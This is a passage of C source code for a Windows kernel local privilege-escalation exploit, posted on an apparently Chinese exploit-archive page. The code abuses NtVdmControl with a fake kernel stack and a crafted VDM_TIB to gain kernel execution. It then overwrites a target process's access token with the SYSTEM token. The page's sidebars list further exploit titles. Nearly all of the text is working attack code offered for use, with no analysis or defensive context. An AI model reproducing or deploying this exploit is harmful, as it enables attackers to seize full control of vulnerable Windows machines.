    // For every stack location, try to find all references to it in my
    // CurrentThread.
    for (i = 0; i < KernelStackSize; i++) {
        // The size of this structure varies between kernels, whats the maximum
        // size likely to be?
        CONST DWORD MaxExpectedEthreadSize = 0x200;
  
        // Find and repair all references to this location
        while (FindAndReplaceMember((PDWORD) CurrentThread,
                                    (DWORD) &KernelStackPointer[i],
                                    (DWORD) StackBase - ((StackBase - StackLimit) / 2),
                                    MaxExpectedEthreadSize,
                                    FALSE))
            ;
    }

    // Find the EPROCESS structure for the process I want to escalate
    if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
        PACCESS_TOKEN SystemToken;
        PACCESS_TOKEN TargetToken;

        // What's the maximum size the EPROCESS structure is ever likely to be?
        CONST DWORD MaxExpectedEprocessSize = 0x200;

        DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
        DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);

        // Find the Token object for my target process, and the SYSTEM process.
        TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
        SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

        DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
        DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);

        // Find the token in the target process, and replace with the system token.
        FindAndReplaceMember((PDWORD) TargetProcess,
                             (DWORD) TargetToken,
                             (DWORD) SystemToken,
                             MaxExpectedEprocessSize,
                             TRUE);
   
        // Success, try to terminate the current process.
        ZwTerminateProcess(GetCurrentProcess(), 'w00t');
    } else {
        // Maybe the user closed the window?
        DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);

        // Report this failure
        ZwTerminateProcess(GetCurrentProcess(), 'LPID');
    }

    // Oops, Something went wrong, restore interrupts and spin here.
    __asm sti

    for (;;) __asm pause
}

// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
                          DWORD CurrentValue,
                          DWORD NewValue,
                          DWORD MaxSize,
                          BOOL ObjectRefs)
{
    DWORD i, Mask;

    // Microsoft QWORD aligns object pointers, then uses the lower three
    // bits for quick reference counting (nice trick).
    Mask = ObjectRefs ? ~7 : ~0;

    // Mask out the reference count.
    CurrentValue &= Mask;

    // Scan the structure for any occurrence of CurrentValue.
    for (i = 0; i < MaxSize; i++) {
        if ((Structure[i] & Mask) == CurrentValue) {
            // And finally, replace it with NewValue.
            Structure[i] = NewValue;
            return TRUE;
        }
    }

    // Member not found.
    return FALSE;
}

// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
    PUCHAR ImageBase;
    PULONG NameTable;
    PULONG FunctionTable;
    PUSHORT OrdinalTable;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;
    PIMAGE_DOS_HEADER DosHeader;
    PIMAGE_NT_HEADERS PeHeader;
    DWORD i;

    ImageBase       = (PUCHAR) KernelHandle;
    DosHeader       = (PIMAGE_DOS_HEADER) ImageBase;
    PeHeader        = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
                            + PeHeader->OptionalHeader
                            . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                            . VirtualAddress);

    // Find required tablesa from the ExportDirectory.
    NameTable       = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
    FunctionTable   = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
    OrdinalTable    = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);

    // Scan each entry for a matching name.
    for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
        PCHAR Symbol = ImageBase + NameTable[i];

        if (strcmp(Symbol, SymbolName) == 0) {
            // Symbol found, return the appropriate entry from FunctionTable.
            return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
        }
    }

    // Symbol not found, this is likely fatal :-(
    return NULL;
}

// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
    CONST DWORD MinimumExpectedVdmTibSize = 0x400;
    CONST DWORD MaximumExpectedVdmTibSize = 0x800;
    FARPROC NtVdmControl;
    DWORD KernelStack[KernelStackSize];
    DWORD Ki386BiosCallReturnAddress;
    CHAR Pid[32], Off[32], Krn[32];
    struct {
        ULONG   Size;
        PVOID   Padding0;
        PVOID   Padding1;
        CONTEXT Padding2;
        CONTEXT VdmContext;
        DWORD   Padding3[1024];
    } VdmTib = {0};

    // Initialise these structures with recognisable constants to ease debugging.
    FillMemory(&VdmTib, sizeof VdmTib, 'V');
    FillMemory(&KernelStack, sizeof KernelStack, 'K');

    // Parent passes parameters via environment variables.
    // 
    //  - VDM_TARGET_PID
    //    Pid of the process to transplant a SYSTEM token onto.
    //  - VDM_TARGET_OFF
    //    Offset from ntoskrnl of Ki386BiosCallReturnAddress.
    //  - VDM_TARGET_KRN
    //    Ntoskrnl base address.

    GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
    GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
    GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);

    NtVdmControl                = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
    TargetPid                   = strtoul(Pid, NULL, 0);

    // Setup the fake kernel stack, and install a minimal VDM_TIB,
    KernelStackPointer          = KernelStack;
    KernelStack[0]              = (DWORD) &KernelStack[8];      // Esp
    KernelStack[1]              = (DWORD) NtCurrentTeb();       // Teb
    KernelStack[2]              = (DWORD) NtCurrentTeb();       // Teb
    KernelStack[7]              = (DWORD) FirstStage;           // RetAddr
    KernelHandle                = (HMODULE) strtoul(Krn, NULL, 0);
    VdmTib.Size                 = MinimumExpectedVdmTibSize;
    *NtCurrentTeb()->Reserved4  = &VdmTib;

    // Initialize the VDM Subsystem.
    InitializeVdmSubsystem();

    VdmTib.Size                 = MinimumExpectedVdmTibSize;
    VdmTib.VdmContext.SegCs     = 0x0B;
    VdmTib.VdmContext.Esi       = (DWORD) &KernelStack;
    VdmTib.VdmContext.Eip       = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
    VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
    *NtCurrentTeb()->Reserved4  = &VdmTib;

    // Trigger the vulnerable code via NtVdmControl().
    while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
        NtVdmControl(VdmStartExecution, NULL);

    // Unable to find correct VdmTib size.
    ExitThread('VTIB');
}

// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
    FARPROC NtAllocateVirtualMemory;
    FARPROC NtFreeVirtualMemory;
    FARPROC NtVdmControl;
    PBYTE BaseAddress;
    ULONG RegionSize;
    static DWORD TrapHandler[128];
    static DWORD IcaUserData[128];
    static struct {
        PVOID TrapHandler;
        PVOID IcaUserData;
    } InitData;

    NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
    NtFreeVirtualMemory     = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
    NtVdmControl            = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
    BaseAddress             = (PVOID) 0x00000001;
    RegionSize              = (ULONG) 0x00000000;
    InitData.TrapHandler    = TrapHandler;
    InitData.IcaUserData    = IcaUserData;

    // Remove anything currently mapped at NULL
    NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);

    BaseAddress             = (PVOID) 0x00000001;
    RegionSize              = (ULONG) 0x00100000;

    // Allocate the 1MB virtual 8086 address space.
    if (NtAllocateVirtualMemory(GetCurrentProcess(),
                                &BaseAddress,
                                0,
                                &RegionSize,
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
        ExitThread('NTAV');
        return FALSE;
    }

    // Finalise the initialisation.
    if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
        ExitThread('VDMC');
        return FALSE;
    }

    return TRUE;
}

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Win32 Shellcode XP SP2 FR (cal
·MP3 Studio v1.X (.m3u File) Lo
·AOL 9.5 ActiveX 0day Exploit (
·Pidgin MSN <= 2.6.4 File Downl
·RM Downloader .m3u BOF (SEH)
·jetAudio 8.0.0.2 Basic (m3u) S
·Mini-stream Ripper 3.0.1.1 (.s
·jetAudio 8.0.0.2 Basic Local C
·Foxit Reader v3.1.4.1125 Activ
·EFS Easy Chat server Universal
·Microsoft Windows Defender Act
·IntelliTamper 2.07/2.08 (defer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved